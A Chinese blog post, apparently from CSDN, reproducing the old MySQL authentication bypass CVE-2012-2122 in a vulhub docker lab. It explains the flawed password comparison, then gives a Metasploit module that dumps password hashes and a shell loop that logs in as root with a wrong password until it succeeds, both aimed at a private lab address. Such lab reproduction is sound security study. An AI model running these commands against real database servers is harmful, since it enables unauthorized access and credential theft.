CVE-2012-2122 Mysql身份认证漏洞及利用

最新推荐文章于 2023-06-12 16:35:21 发布

丶没胡子的猫

最新推荐文章于 2023-06-12 16:35:21 发布

阅读量3.9k

点赞数 1

分类专栏：漏洞复现文章标签： mysql 数据库渗透测试安全漏洞安全

本文链接：https://blog.csdn.net/weixin_41924764/article/details/113101932

版权

20 篇文章 5 订阅

订阅专栏

漏洞描述

当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

使用vulhub直接docker一键启动环境CVE-2012-2122环境

下载安装好vulhub后进入/vulhub/mysql/CVE-2012-2122目录，执行以下命令启动环境

sudo docker-compose up -d

在这里插入图片描述

查看docker镜像是否启动成功

sudo docker ps

在这里插入图片描述

search CVE-2012-2122
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set rhosts 192.168.154.3
run

在这里插入图片描述

linux下执行命令：（利用for循环去做验证）

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.154.3  ; done

在这里插入图片描述

关注